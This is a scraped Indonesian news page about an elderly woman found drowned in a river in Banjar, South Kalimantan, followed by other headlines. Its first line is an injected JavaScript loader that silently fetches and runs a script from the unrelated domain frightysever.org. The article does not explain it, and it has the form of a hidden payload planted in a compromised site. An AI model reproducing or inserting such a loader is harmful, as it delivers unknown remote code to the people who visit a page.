(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA –
Terungkap sudah siapa sosok mayat yang ditemukan mengapung di Sungai Saka Teron, Desa Bakambat, Kecamatan Aluh Aluh, Kabupaten Banjar pada Kamis (4/2/2021) pagi.
Mayat berjenis kelamin perempuan tersebut diketahui bernama Saprah (80).
Kapolsek Aluh Aluh, Ipda Simon Jumadi, mengatakan, Saprah merupakan warga Desa Simpang Warga, No 02 RT06, Kecamatan Aluh Aluh, Kabupaten Banjar.
Dia juga mengatakan, bersama anggota ketika mendapat informasi dari warga, tentang adanya sesosok mayat yang mengapung, pihaknya langsung bergegas menuju kelokasi.
“Diperkirakan sesosok mayat yang mengapung tersebut sudah dua hari, dari rumah korban sampai ditemukannya korban itu jaraknya sekitar 8 kilometer,” lanjutnya.
Masih dalam keterangan Polsek, menurut keterangan anak almarhum,diperkirakan tenggelam sekitar rumah.
Namun, belum diketahui bagaimana dan penyebab Saprah tenggelam.
“Tidak ada tanda kekerasan pada tubuh almarhumah, setelah dievakuasi, langsung dibawa kerumahnya untuk segera dimakamkan,” tutup dia. (kanalkalimantan.com/wahyu)
Reporter: Wahyu
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.